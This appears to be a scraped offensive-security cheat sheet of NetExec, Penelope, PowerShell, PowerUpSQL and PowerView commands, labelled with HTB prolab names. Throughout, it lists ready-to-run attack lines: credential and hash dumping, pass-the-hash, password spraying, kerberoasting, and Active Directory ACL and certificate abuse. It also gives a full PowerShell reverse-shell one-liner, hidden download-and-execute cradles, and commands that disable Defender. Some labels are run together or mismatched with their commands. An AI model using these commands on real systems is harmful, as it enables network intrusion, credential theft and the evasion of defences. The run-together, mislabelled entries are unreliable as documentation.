nxc smb <TARGET> -u <USER> -p passwords.txtNetExec wiki
Try one login per host with --local-auth
NetExec SMB check/authentication
sudo nxc smb --local-auth <TARGET>/24 -u <USER> -H <NT_HASH> | grep +password policy
Show the domain password policy
nxc smb <TARGET> -u <USER> -p <PASSWORD> --pass-polNetExec wiki
dump NTDS
Dump domain hashes from NTDS.dit (needs domain admin)
nxc smb <TARGET> -u <USER> -p <PASSWORD> --ntdsNetExec wiki
Dump LSA secrets
Dump LSA secrets (needs local admin)
nxc smb <TARGET> --local-auth -u <USER> -p <PASSWORD> --lsaDump SAM password hashes
Dump local SAM hashes (needs local admin)
nxc smb <TARGET> --local-auth -u <USER> -p <PASSWORD> --samList domain users (--users)
Enumerate domain users
nxc smb <TARGET> --usersnull session
NetExec SMB check/authentication
nxc smb <TARGET> -u '' -p ''NetExec wiki
guest logon
NetExec SMB check/authentication
nxc smb <TARGET> -u <USER> -p ''NetExec wiki
pass the hash
NetExec SMB check/authentication
nxc smb <TARGET> -u <USER> -H <NT_HASH>NetExec wiki
use ticket cache
NetExec SMB check/authentication
nxc smb <TARGET> --use-kcacheNetExec wiki
generate TGT
NetExec SMB check/authentication
nxc smb <TARGET> -u <USER> -p <PASSWORD> --generate-tgt <PATH>NetExec wiki
hosts file
NetExec SMB check/authentication
nxc smb <TARGET>/24 --generate-hosts-file hosts.txtNetExec wiki
username as password
NetExec SMB check/authentication
nxc smb <TARGET> -u users.txt -p users.txt --no-bruteforce --continue-on-successNetExec wiki
shares read write
List SMB shares and your access level on each
nxc smb <TARGET> -u <USER> -p <PASSWORD> --shares READ,WRITENetExec wiki
export users
Enumerate domain users
nxc smb <TARGET> -u <USER> -p <PASSWORD> --users-export users.txtNetExec wiki
sessions
NetExec SMB check/authentication
nxc smb <TARGET> -u <USER> -p <PASSWORD> --qwinstaNetExec wiki
local groups
NetExec SMB check/authentication
nxc smb <TARGET> -u <USER> -p <PASSWORD> --local-groupNetExec wiki
execute command
Execute a command on the target
nxc smb <TARGET> -u <USER> -p <PASSWORD> -x whoamiNetExec wiki
execute powershell
Execute a command on the target
nxc smb <TARGET> -u <USER> -p <PASSWORD> -X '$PSVersionTable'NetExec wiki
spider share
NetExec SMB check/authentication
nxc smb <TARGET> -u <USER> -p <PASSWORD> --spider 'C$' --pattern txtNetExec wiki
download file
NetExec SMB check/authentication
nxc smb <TARGET> -u <USER> -p <PASSWORD> --get-file \\Windows\\Temp\\<FILE> /tmp/<FILE>NetExec wiki
dump SAM secdump
Dump local SAM hashes (needs local admin)
nxc smb <TARGET> -u <USER> -p <PASSWORD> --sam secdumpNetExec wiki
dump SAM history
Dump local SAM hashes (needs local admin)
nxc smb <TARGET> -u <USER> -p <PASSWORD> --sam --historyNetExec wiki
dump LSA secdump
Dump LSA secrets (needs local admin)
nxc smb <TARGET> -u <USER> -p <PASSWORD> --lsa secdumpNetExec wiki
dump NTDS enabled
Dump domain hashes from NTDS.dit (needs domain admin)
nxc smb <TARGET> -u <USER> -p <PASSWORD> --ntds --enabledNetExec wiki
dump NTDS vss
Dump domain hashes from NTDS.dit (needs domain admin)
nxc smb <TARGET> -u <USER> -p <PASSWORD> --ntds vssNetExec wiki
dump DPAPI
NetExec SMB check/authentication
nxc smb <TARGET> -u <USER> -p <PASSWORD> --dpapiNetExec wiki
dump DPAPI cookies
NetExec SMB check/authentication
nxc smb <TARGET> -u <USER> -p <PASSWORD> --dpapi cookiesNetExec wiki
dump DPAPI nosystem
NetExec SMB check/authentication
nxc smb <TARGET> -u <USER> -p <PASSWORD> --dpapi nosystemNetExec wiki
LAPS
NetExec SMB check/authentication
nxc smb <TARGET> -u <USER> -p <PASSWORD> --lapsNetExec wiki
ldap users
Enumerate domain users
nxc ldap <TARGET> -u <USER> -p <PASSWORD> --usersNetExec wiki
ldap export users
Enumerate domain users
nxc ldap <TARGET> -u <USER> -p <PASSWORD> --users-export users.txtNetExec wiki
active users
NetExec LDAP check/authentication
nxc ldap <TARGET> -u <USER> -p <PASSWORD> --active-usersNetExec wiki
ldap groups
Enumerate domain groups
nxc ldap <TARGET> -u <USER> -p <PASSWORD> --groupsNetExec wiki
group members
Enumerate domain groups
nxc ldap <TARGET> -u <USER> -p <PASSWORD> --groups "Domain Admins"NetExec wiki
ldap query
NetExec LDAP check/authentication
nxc ldap <TARGET> -u <USER> -p <PASSWORD> --query "(sAMAccountName=<USER>)" ""NetExec wiki
ldap query attributes
NetExec LDAP check/authentication
nxc ldap <TARGET> -u <USER> -p <PASSWORD> --query "(sAMAccountName=<USER>)" "sAMAccountName objectClass pwdLastSet"NetExec wiki
asreproast
Get AS-REP hashes for accounts without Kerberos pre-authentication
nxc ldap <TARGET> -u <USER> -p '' --asreproast asreproast.outNetExec wiki
asreproast kdcHost
Get AS-REP hashes for accounts without Kerberos pre-authentication
nxc ldap <TARGET> -u <USER> -p <PASSWORD> --asreproast asreproast.out --kdcHost <DOMAIN>NetExec wiki
targeted kerberoast
Request service tickets for accounts with an SPN and save the hashes for cracking
nxc ldap <TARGET> -u <USER> -p <PASSWORD> --kerberoasting kerberoasting.out --targeted-kerberoast <VICTIM>NetExec wiki
kerberoast no preauth
Request service tickets for accounts with an SPN and save the hashes for cracking
nxc ldap <TARGET> -u <USER> -p '' --no-preauth-targets kerberoastable.list --kerberoasting kerberoasting.outNetExec wiki
find delegation
NetExec LDAP check/authentication
nxc ldap <TARGET> -u <USER> -p <PASSWORD> --find-delegationNetExec wiki
bloodhound
NetExec LDAP check/authentication
nxc ldap <TARGET> -u <USER> -p <PASSWORD> --bloodhound --collection AllNetExec wiki
domain controllers
NetExec LDAP check/authentication
nxc ldap <TARGET> -u <USER> -p <PASSWORD> --dc-listNetExec wiki
ldap kerberos
NetExec LDAP check/authentication
nxc ldap <TARGET> -k --kdcHost <DC>NetExec wiki
mssql check credentials
NetExec MSSQL check/authentication
nxc mssql <TARGET> -u <USER> -p <PASSWORD>NetExec wiki
mssql port
NetExec MSSQL check/authentication
nxc mssql <TARGET> -u <USER> -p <PASSWORD> --port 1434NetExec wiki
mssql upload
NetExec MSSQL check/authentication
nxc mssql <TARGET> -u <USER> -p <PASSWORD> --put-file /tmp/<FILE> C:\\Windows\\Temp\\<FILE>NetExec wiki
mssql download
NetExec MSSQL check/authentication
nxc mssql <TARGET> -u <USER> -p <PASSWORD> --get-file C:\\Windows\\Temp\\<FILE> /tmp/<FILE>NetExec wiki
winrm execute
Execute a command on the target
nxc winrm <TARGET> -u <USER> -p <PASSWORD> -X whoamiNetExec wiki
ssh check
NetExec SSH check/authentication
nxc ssh <TARGET>/24 -u <USER> -p <PASSWORD>NetExec wiki
ssh port
NetExec SSH check/authentication
nxc ssh <TARGET>/24 --port 2222NetExec wiki
ssh execute
Execute a command on the target
nxc ssh <TARGET> -u <USER> -p <PASSWORD> -x whoamiNetExec wiki
ftp list
NetExec FTP check/authentication
nxc ftp <TARGET> -u <USER> -p <PASSWORD> --lsNetExec wiki
rdp screenshot
NetExec RDP check/authentication
nxc rdp <TARGET> -u <USER> -p <PASSWORD> --screenshot --screentime 5NetExec wiki
nfs detect
Enumerate NFS shares with NetExec
nxc nfs <TARGET>NetExec wiki
nfs shares
List SMB shares and your access level on each
nxc nfs <TARGET> --sharesNetExec wiki
nfs list
List files on an NFS share
nxc nfs <TARGET> --share '<SHARE>' --ls '/'NetExec wiki
nfs enumerate
Enumerate NFS shares with NetExec
nxc nfs <TARGET> --enum-sharesNetExec wiki
Brute force WinRM passwords
NetExec WINRM check/authentication
nxc winrm <TARGET> -u <USER> -p words.txtProlab Dante
office2john
Convert a protected .docx to a hash
Crack hashes with John the Ripper
office2john.py Protected.docx > protected-docx.hashOpenSSL · Crypto toolkit
Abusing ADCS
OpenSSL certificate / crypto operation
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfxExtract Private Key
OpenSSL certificate / crypto operation
openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out key.pem -nodesUsed on Timelapse
Extract the Certificate
OpenSSL certificate / crypto operation
openssl pkcs12 -in legacyy_dev_auth.pfx -clcerts -nokeys -out cert.pemUsed on Timelapse
Generate Certificate
OpenSSL certificate / crypto operation
# genpkey -algorithm RSA -out ../shared/svc-key.pem
openssl genpkey -algorithm RSA -out ../shared/svc-key.pem# req -new -key ../shared/svc-key.pem
openssl req -new -key ../shared/svc-key.pem -subj "/CN=root" -out ../shared/svc.csr# x509 -req -in ../shared/svc.csr
openssl x509 -req -in ../shared/svc.csr -CA ca.pem -CAkey ca-key.pem -CAcreateserial -out ../shared/svc-cert.pem -days 365Used on Fries
Create a certificate
OpenSSL certificate / crypto operation
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout private.key -out cert.pemProlab RastaLabs
Get the certificate fingerprint
OpenSSL certificate / crypto operation
openssl x509 -in cert.pem -noout -sha1 -fingerprint | cut -d "=" -f 2 | tr -d ":"Prolab RastaLabs
other_vhosts_access.log
owneredit.py · Change object ownership (Impacket)
Grant Ownership
python3 examples/owneredit.py -action write -new-owner <USER> -target <USER> -dc-ip <TARGET> <DOMAIN>/<USER>:<PASSWORD>pcredz
Extract credentials a network packet capture
./Pcredz -f demo.pcapng -t -vpdf2john.pl
Convert a PDF to a crackable hash
Crack hashes with John the Ripper
pdf2john.pl PDF.pdf > pdf.hashpenelope
penelope reverse shell listener
Penelope reverse shell handler
penelopePenelope README
penelope listener port
Penelope reverse shell handler
penelope -p 5555Penelope README
penelope listener multiple ports
Penelope reverse shell handler
penelope -p 4444,5555Penelope README
penelope listener interface
Penelope reverse shell handler
penelope -i eth0 -p 5555Penelope README
penelope listener with payloads
Penelope reverse shell handler
penelope -aPenelope README
penelope bind shell
Penelope reverse shell handler
penelope -c <TARGET> -p 3333Penelope README
penelope ssh reverse shell
Penelope reverse shell handler
penelope ssh <USER>@<TARGET>Penelope README
penelope ssh reverse shell custom port
Penelope reverse shell handler
penelope -p 5555 ssh <USER>@<TARGET>Penelope README
penelope ssh reverse shell with ssh switches
SSH local port forward
penelope -i eth0 -p 5555 -- ssh -l <USER> -p 2222 <TARGET>Penelope README
penelope list interfaces
Penelope reverse shell handler
penelope -lPenelope README
penelope start in main menu
Penelope reverse shell handler
penelope -MPenelope README
penelope http file server
Penelope reverse shell handler
penelope -s <FILE_OR_FOLDER>Penelope README
penelope serve current directory
Penelope reverse shell handler
penelope -s . -p 80Penelope README
penelope serve with url prefix
Penelope reverse shell handler
penelope -s secret.txt -prefix xk9Penelope README
penelope upload server
Penelope reverse shell handler
penelope -s -uPenelope README
penelope upload server directory
Penelope reverse shell handler
penelope -s -u -ud /tmp/lootPenelope README
penelope no timestamps in logs
Penelope reverse shell handler
penelope -TPenelope README
penelope no colored timestamps
Penelope reverse shell handler
penelope -CTPenelope README
penelope maintain sessions
Penelope reverse shell handler
penelope -m 2Penelope README
penelope single session
Penelope reverse shell handler
penelope -SPenelope README
penelope max sessions per host
Penelope reverse shell handler
penelope -ms 10Penelope README
penelope no auto-attach
Penelope reverse shell handler
penelope -CPenelope README
penelope no shell upgrade
Penelope reverse shell handler
penelope -UPenelope README
penelope keep shell history
Penelope reverse shell handler
penelope -HPenelope README
penelope oscp safe mode
Penelope reverse shell handler
penelope -OPenelope README
penelope no disk
Penelope reverse shell handler
penelope --no-diskPenelope README
penelope mcp server
Penelope reverse shell handler
penelope --mcpPenelope README
penelope mcp server host and port
Penelope reverse shell handler
penelope --mcp --mcp-host 127.0.0.1 --mcp-port <PORT>Penelope README
penelope simulate missing binaries
Penelope reverse shell handler
penelope -N curl,wgetPenelope README
penelope debug
Penelope reverse shell handler
penelope -dPenelope README
penelope version
Penelope reverse shell handler
penelope -vPenelope README
penelope menu payloads
Show reverse shell payloads
payloadsPenelope README
penelope menu sessions
List or interact with sessions
sessionsPenelope README
penelope menu interact
Switch into a session
interact <SESSION_ID>Penelope README
penelope menu use
Load Metasploit module <SESSION_ID>
use <SESSION_ID>Penelope README
penelope menu kill
Kill a session
kill <SESSION_ID>Penelope README
penelope menu listeners
Manage listeners
listenersPenelope README
penelope menu connect
Connect to a bind shell
connectPenelope README
penelope menu interfaces
Show local network interfaces
InterfacesPenelope README
penelope menu modules
List available modules
modulesPenelope README
penelope menu run module
Run a module in the session
runPenelope README
penelope menu upload
Upload a file to the target
uploadPenelope README
penelope menu download
Download a file from the target
downloadPenelope README
penelope menu open
openPenelope README
penelope menu script
Run a local script on the session
scriptPenelope README
penelope menu exec
Run a command on the session
execPenelope README
penelope menu spawn
Spawn a new session
spawnPenelope README
penelope menu maintain
Keep a number of sessions alive
maintainPenelope README
penelope menu upgrade
Upgrade the shell to a full PTY
upgradePenelope README
penelope menu port forward
Port forward through the session
portfwdPenelope README
penelope menu cd
Change directory on the target
cdPenelope README
penelope menu lcd
Change the local directory
lcdPenelope README
penelope menu set options
SETPenelope README
penelope menu help
Show built-in help
help <COMMAND>Penelope README
perl
Spawn an interactive shell with perl
perl —e 'exec "/bin/sh";'PetitPotam · NTLM authentication coercion
ESC11
Coerce NTLM authentication (PetitPotam)
python3 PetitPotam.py -u <USER> -p <PASSWORD> -d <DOMAIN> <TARGET> <TARGET>PetitPotam
Coerce NTLM authentication (PetitPotam)
python3 PetitPotam.py WIN-MMRQDG2R0ZX@80/files <TARGET> -u <USER> -p <PASSWORD>Run PetitPotam against a target
Coerce NTLM authentication (PetitPotam)
python3 PetitPotam.py <TARGET> <TARGET>pfx2john
Cracking the PFX Password
Crack hashes with John the Ripper
pfx2john Dev/legacyy_dev_auth.pfx > hash_pfxfileUsed on Timelapse
php
Download a file using PHP
php -r '$file = file_get_contents("https://<TARGET>/LinEnum.sh"); file_put_contents("LinEnum.sh",$file);'pip
Install Impacket from the cloned directory
sudo python3 -m pip install .pip3
Install cube0x0's version of Impacket
Clone a repository
pip3 uninstall impacket git clone https://github.com/cube0x0/impacket cd impacket python3 ./setup.py installpipelist
List named pipes
pipelist.exe /accepteulaplink
Dynamic SSH port forward with plink (-D)
plink -D 9050 <USER>@<TARGET>powercat
Reverse shell with powercat
Run a PowerShell command
powercat -c <LHOST> -p <PORT> -e powershellProlab RastaLabs
Powermad
New machine account
New-MachineAccount -MachineAccount <NAME> -Password (ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force) -Credential $credZephyr notes
powershell
Logon Scripts
Run PowerShell with execution policy bypassed
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand <SNIP>Reverse shell one-liner
Request a service ticket (S4U / impersonation)
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('<LHOST>',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"Download a file
Download a file
powershell wget <LHOST>/<FILE> -o <FILE>Prolab Dante
Hidden download cradle
Run a PowerShell command
powershell -window hidden iex (New-Object Net.WebClient).DownloadString('http://<LHOST>:<PORT>/exec.ps1')Prolab RastaLabs
Read the clipboard
Run a PowerShell command
powershell get-clipboardProlab RastaLabs
Add a Defender exclusion path
Add mp preference
Add-MpPreference -ExclusionPath "C:\Windows\Tasks"Prolab Cybernetics
Run a remote script in memory
Run PowerShell with execution policy bypassed
powershell.exe -ep bypass iex (New-Object Net.WebClient).DownloadString('http://<LHOST>/<FILE>.ps1')Prolab Cybernetics
Download a file with Invoke-WebRequest
Download a file with PowerShell
powershell -c invoke-webrequest -uri http://<LHOST>/<FILE> -outfile C:\Windows\Tasks\<FILE>Prolab Cybernetics
Encode a script for EncodedCommand
cat <FILE>.ps1 | iconv -t UTF-16LE | base64 -w0Prolab Cybernetics
Run a command on a remote host
Show the current user
Invoke-Command -ComputerName <TARGET> -Credential $credential -ScriptBlock {whoami}Prolab Cybernetics
firewall RDP
Enable net firewall rule
Enable-NetFirewallRule -DisplayGroup "Remote Desktop"Zephyr notes
disable Defender
Set mp preference
Set-MpPreference -DisableRealtimeMonitoring $trueZephyr notes
Defender status
Get mp preference
Get-MpPreference | Select-Object -Property DisableRealtimeMonitoringZephyr notes
execution policy
Run PowerShell with execution policy bypassed
powershell -ep bypassZephyr notes
download file
Download a file with PowerShell
powershell iwr http://<LHOST>/<FILE> -O <FILE>Zephyr notes
Run a command via PowerShell remoting
Invoke-Command -ComputerName <HOST> -Credential $cred -ScriptBlock {<COMMAND>}Zephyr notes
powerup
Run all privilege escalation checks
Import module
Import-Module .\PowerUp.ps1
Invoke-AllChecksProlab Zephyr
Query or manage local groups
Invoke-ServiceAbuse -ServiceName '<SERVICE>' -Command "net localgroup administrators <USER> /add"Zephyr notes
powerupsql
Server info
Get sqlserver info
Get-SQLServerInfo -Verbose -Instance <HOST>Prolab RastaLabs
Run an OS command
Show the current user
Invoke-SQLOSCmd -Instance <HOST> -Command 'whoami' -RawResultsProlab RastaLabs
List databases
Get sqldatabase
Get-SQLDatabase -Instance <HOST>Prolab RastaLabs
List tables
Get sqltable
Get-SQLTable -Instance <HOST> -Database <DB> | select TableNameProlab RastaLabs
List columns
Get sqlcolumn
Get-SQLColumn -Instance <HOST> -Database <DB> -Table <TABLE> | select ColumnNameProlab RastaLabs
Search for data
Get sqlcolumn sample data
Get-SQLColumnSampleData -Instance <HOST> -Database <DB> -Keywords <KEYWORD>Prolab RastaLabs
Crawl linked servers
Get sqlserver link crawl
Get-SQLServerLinkCrawl -Verbose -Instance <HOST>Prolab RastaLabs
Query a linked server
Get sqlquery
Get-SQLQuery -Instance <HOST> -Query "select * from openquery([<LINKED_SERVER>], 'SELECT name FROM sys.databases');"Prolab RastaLabs
Crawl SQL Server links
Get sql server link crawl
Get-SqlServerLinkCrawl -VerboseProlab Cybernetics
linked servers
Get sqlquery
Get-SQLQuery -Instance <HOST> -Query "EXEC sp_linkedservers;" -username <USER> -Password <PASSWORD> -VerboseZephyr notes
enable xp_cmdshell
Get sqlquery
Get-SQLQuery -Instance <HOST> -Query "EXEC sp_configure 'show advanced options',1" -username <USER> -Password <PASSWORD> -Verbose
Get-SQLQuery -Instance <HOST> -Query "RECONFIGURE" -username <USER> -Password <PASSWORD> -Verbose
Get-SQLQuery -Instance <HOST> -Query "EXEC sp_configure 'xp_cmdshell',1" -username <USER> -Password <PASSWORD> -Verbose
Get-SQLQuery -Instance <HOST> -Query "RECONFIGURE" -username <USER> -Password <PASSWORD> -VerboseZephyr notes
query linked server
Get sqlquery
Get-SQLQuery -Instance <HOST> -Query "EXECUTE AS LOGIN = 'sa'; EXECUTE ('select @@version') at [<LINKED_SERVER>];" -username <USER> -Password <PASSWORD>Zephyr notes
Invoke sqlaudit
Invoke-SQLAudit -Instance <HOST> -username <USER> -Password <PASSWORD>Zephyr notes
PowerView · PowerShell AD enumeration and modification
Abuse foreign ACL principals
Reset a user password (PowerView)
Set-DomainUserPassword -identity jessica -AccountPassword $pass -domain <DOMAIN> -verboseEnumerate foreign group members
Get domain foreign group member
# -Domain
Get-DomainForeignGroupMember -Domain <DOMAIN># basic
Get-DomainForeignGroupMemberAbusing PAM Trusts
New adobject
New-ADObject -Type msDS-ShadowPrincipal -Name "Tom" -Path $Container -OtherAttributes @{'msDS-ShadowPrincipalSid'= $ShadowPrincipalSid}Add <USER> to Infrastructure group
Add domain group member
Add-DomainGroupMember -identity 'Infrastructure' -Members 'DEV\<USER>' -Domain <DOMAIN> -VerboseAddMembers
Read ACLs of AD objects (PowerView)
Get-DomainObjectAcl -Identity <OBJECT> -ResolveGUIDs | ?{$_.SecurityIdentifier -eq $userSID}Add domain group member
Add-DomainGroupMember -Identity <OBJECT> -Members '<MEMBER>' -VerboseZephyr notes
ASREP-Roasting
Get domain user
# Get-DomainUser -UACFilter DONT_REQ_PREAUTH
Get-DomainUser -UACFilter DONT_REQ_PREAUTH# Set-DomainObject -Identity -XOR @
Set-DomainObject -Identity <OBJECT> -XOR @{useraccountcontrol=4194304} -VerboseConfirm group membership
Get domain group member
Get-DomainGroupMember -Identity <OBJECT> -Domain <DOMAIN> -VerboseFind computers set with constrained delegation
Get domain computer
Get-DomainComputer -TrustedToAuthCreate shadow principal in bastion forest
Set adobject
Set-ADObject -Identity <OBJECT> -Add @{'member'="CN=Administrator,CN=Users,DC=<DOMAIN_PART>,DC=<DOMAIN_PART>"} -VerboseEnumerate ACLs on a user
Read ACLs of AD objects (PowerView)
Get-DomainObjectAcl -Identity <OBJECT>Enumerate foreign ACL principals
Read ACLs of AD objects (PowerView)
Get-DomainObjectAcl -ResolveGUIDs -Identity <OBJECT> -domain <DOMAIN> | ? {$_.SecurityIdentifier -eq $sid}Enumerate foreign security principals
Get domain object
Get-DomainObject -LDAPFilter '(objectclass=ForeignSecurityPrincipal)' -Domain <DOMAIN>Enumerate shadow principals
Get adobject
Get-ADObject -SearchBase ("CN=Shadow Principal Configuration,CN=Services," + (Get-ADRootDSE).configurationNamingContext) -Filter * -Properties * | select Name,member,msDS-ShadowPrincipalSid | flEnumeration
Get domain gpo
# Get-DomainGPO -Properties
Get-DomainGPO -Properties# Get-DomainGPO Select-Object -First 1
Get-DomainGPO | Select-Object -First 1 | Get-DomainObjectAcl -ResolveGUIDs | where { $_.ActiveDirectoryRights -match "CreateChild|WriteProperty|DeleteChild|DeleteTree|WriteDacl|WriteOwner" -and $_.SecurityIdentifier -match '^S-1-5-.*-[1-9]\d{3,}$' }# Get-DomainOU foreach ou
Get-DomainOU | foreach { $ou = $_.distinguishedname; Get-DomainComputer -SearchBase $ou -Properties dnshostname | select @{Name='OU';Expression={$ou}}, @{Name='FQDN';Expression={$_.dnshostname}} }Get group membership
Get domain group member
Get-DomainGroupMember "<NAME>"ESC4
Grant rights on an AD object (PowerView)
# Add-DomainObjectAcl -TargetIdentity ESC4 -Principa
Add-DomainObjectAcl -TargetIdentity ESC4 -PrincipalIdentity "Domain Users" -RightsGUID "0e10c968-78fb-11d2-90d4-00c04f79dc55" -TargetSearchBase "LDAP://CN=Configuration,DC=<DOMAIN_PART>,DC=<DOMAIN_PART>" -Verbose# Set-DomainObject -SearchBase CN=Certificate Templa
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN_PART>,DC=<DOMAIN_PART>" -Identity <OBJECT> -Set @{'mspki-ra-signature'=0} -VerboseESC9
Read ACLs of AD objects (PowerView)
# Get-DomainObjectAcl -LDAPFilter objectClass=user o
Get-DomainObjectAcl -LDAPFilter "(&(objectClass=user)(objectCategory=person))" -ResolveGUIDs | ? {($_.ActiveDirectoryRights -contains "GenericAll" -or $_.ActiveDirectoryRights -contains "GenericWrite") -and $_.SecurityIdentifier -eq $blwasp.objectsid}# Set-DomainUserPassword -Identity -AccountPassword
Set-DomainUserPassword -Identity <USER> -AccountPassword $((ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force)) -Verbose# Set-DomainObject user2 -Set @
Set-DomainObject user2 -Set @{'userPrincipalName'='<USER>@<DOMAIN>'} -VerboseExport all TGS tickets to a CSV file
Crack hashes with hashcat
Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv <FILE>.csv -NoTypeInformationFind GPO permissions
Read ACLs of AD objects (PowerView)
Get-DomainGPO | Get-ObjectAclFind non-blank user description fields
Get domain user
Get-DomainUser -Properties samaccountname,description | Where {$_.description -ne $null}ForceChangePassword
Read ACLs of AD objects (PowerView)
Get-DomainObjectAcl -Identity <OBJECT> | ?{$_.SecurityIdentifier -eq $userSID}Gather additional info on the Inlanefreight_admins group
Get domain group
Get-DomainGroup -Identity <OBJECT> -domain <DOMAIN>Get domain user properties using PowerShell
Get domain user
Get-DomainUser <USER> -Properties objectsidSearch for OU objects
Get domain ou
Get-DomainOUGet gplink on Sites
Get domain site
Get-DomainSite -Properties gplinkGet GUID for target domain
Get adobject
Get-ADObject -LDAPFilter '(objectClass=trustedDomain)' | select name,objectguidGet the Active Directory rights affecting the GPO
Read ACLs of AD objects (PowerView)
Get-DomainObjectAcl -ResolveGUIDsGhost SPN Jacking
Read ACLs of AD objects (PowerView)
# Get-DomainComputer Get-DomainObjectAcl -ResolveGUI
Get-DomainComputer | Get-DomainObjectAcl -ResolveGUIDs | ?{$_.SecurityIdentifier -eq $(ConvertTo-SID <USER>)}# Set-DomainObject -Identity -Set @
Set-DomainObject -Identity <OBJECT> -Set @{serviceprincipalname='<SPN>'} -VerboseReturn the AD object for the current domain
Get domain
Get-DomainGrant Ownership
Set domain object owner
# Set-DomainObjectOwner -Identity -OwnerIdentity
Set-DomainObjectOwner -Identity <OBJECT> -OwnerIdentity <USER> -Verbose# Add-DomainObjectAcl -TargetIdentity -PrincipalIden
Add-DomainObjectAcl -TargetIdentity <USER> -PrincipalIdentity <USER> -Rights All -VerboseIntra Forest Attacks
New domain user
# New-DomainUser -Domain -SamAccountName testuser
New-DomainUser -Domain <DOMAIN> -SamAccountName testuser -AccountPassword $SecPassword# Get-DomainObjectAcl -ResolveGUIDs -Identity
Get-DomainObjectAcl -ResolveGUIDs -Identity <OBJECT> -domain <DOMAIN> | ? {$_.SecurityIdentifier -eq $sid}Kerberoasting
Get domain user
Get-DomainUser -SPN | select name,List all UAC values
Get domain user
Get-DomainUser harry.jones | ConvertFrom-UACValue -showallList computers \| within each OU
Get domain ou
Get-DomainOU | foreach { $ou = $_.distinguishedname; Get-DomainComputer -SearchBase $ou -Properties dnshostname select @{Name='OU';Expression={$ou}}, @{Name='FQDN';Expression={$_.dnshostname}} }List domain groups
Get domain group
Get-DomainGroup -Properties NameList GPOs on a specific host
Get domain gpo
Get-DomainGPO -ComputerIdentity WS01Live SPN Jacking
Get domain computer
Get-DomainComputer DBSRV003 -Properties 'serviceprincipalname' | Select-Object -ExcludeProperty serviceprincipalnameTargeted Kerberoasting
Set domain object
Set-DomainObject -Identity <OBJECT> -Clear serviceprincipalname -VerboseLogon Scripts
Set domain object
# Set-DomainObject -Set @ scriptPath
Set-DomainObject <USER> -Set @{'scriptPath'='EricsScripts\logonScript.bat'}# Get-DomainObject -Properties scriptPath
Get-DomainObject <USER> -Properties scriptPathLow Privileged User
Get domain trust
Get-DomainTrust -domain <DOMAIN>Manual Method
# python3 powerview.py /
python3 powerview.py <DOMAIN>/<USER>:<PASSWORD>@<TARGET># Set-DomainObject -Identity -Set dnsHostName=
Set-DomainObject -Identity <OBJECT> -Set dnsHostName="dc02.<DOMAIN>"Password spray and save the results (-OutFile)
Invoke domain password spray
Invoke-DomainPasswordSpray -Password <PASSWORD> -OutFile spray_success -ErrorAction SilentlyContinueFind users with DONT_REQ_PREAUTH set
Get domain user
Get-DomainUser -PreauthNotRequired | select samaccountname,userprincipalname,useraccountcontrol | flClear the SPNs on a machine account
Set domain object
Set-DomainObject -Identity <OBJECT> -Clear 'serviceprincipalname' -Domain <DOMAIN> -DomainController <DC_IP>PowerView command to list machines created by specific users
Get domain computer
Get-DomainComputer -Filter '(ms-DS-CreatorSID=*)' -Properties name,ms-ds-creatorsidGet domain trust mapping
Get domain trust mapping
Get-DomainTrustMappingZephyr notes
Get domain foreign user
Get domain foreign user
Get-DomainForeignUserGet domain trust
Get domain trust
Get-DomainTrustGet domain group
Get domain group
Get-DomainGroupFind domain user location
Find domain user location
Find-DomainUserLocationFind domain share
Find domain share
Find-DomainShareGet domain user
Get domain user
Get-DomainUser -SPN -Properties samaccountname,ServicePrincipalNameList group members
Get domain group member
# -Identity -Recurse
Get-DomainGroupMember -Identity <OBJECT> -Recurse# basic
Get-DomainGroupMember# -Identity Select MemberName
Get-DomainGroupMember -Identity <OBJECT> | Select MemberNameGet domain spnticket
Get domain spnticket
Get-DomainSPNTicketGet domain dfsshare
Get domain dfsshare
Get-DomainDFSShareGet domain file server
Get domain file server
Get-DomainFileServerGet domain controller
Get domain controller
Get-DomainControllerGet domain computer
Get domain computer
Get-DomainComputerGet domain gpo
Get domain gpo
Get-DomainGPOGet domain user (2)
Get domain user
Get-DomainUserZephyr notes
Find GPOs a group has rights over
Read ACLs of AD objects (PowerView)
Get-DomainGPO | Get-ObjectAcl | ? {$_.SecurityIdentifier -eq $sidSet domain object
Set domain object
# -SET @ serviceprincipalname=
Set-DomainObject -Credential $Cred2 -Identity <OBJECT> -SET @{serviceprincipalname='<SPN>'} -Verbose# -Clear serviceprincipalname
Set-DomainObject -Credential $Cred2 -Identity <OBJECT> -Clear serviceprincipalname -VerboseAdd a user to a group
Add domain group member
# -Members damundsen -Credential Cred2
Add-DomainGroupMember -Identity <OBJECT> -Members 'damundsen' -Credential $Cred2 -Verbose# -Members -Credential cred
Add-DomainGroupMember -Identity <OBJECT> -Members '<USER>' -Credential $cred -VerboseProlab Cybernetics
Reset a user password (PowerView)
Set-DomainUserPassword -Identity <USER> -AccountPassword $UserPassword -Credential $Cred -VerboseZephyr notes
Get domain user (-UACFilter PASSWD_NOTREQD)
Get domain user
Get-DomainUser -UACFilter PASSWD_NOTREQD | Select-Object samaccountname,useraccountcontrolGet domain user (testspn)
Get domain user
Get-DomainUser testspn -Properties samaccountname,serviceprincipalname,msds-supportedencryptiontypesGet domain user (*)
Get domain user
Get-DomainUser * | Select-Object samaccountname,descriptionGet SPN ticket as a Hashcat hash
Crack hashes with hashcat
Get-DomainUser -Identity <OBJECT> | Get-DomainSPNTicket -Format HashcatGet domain sid
Get domain sid
Get-DomainSIDGet the Enterprise Admins SID
Get domain group
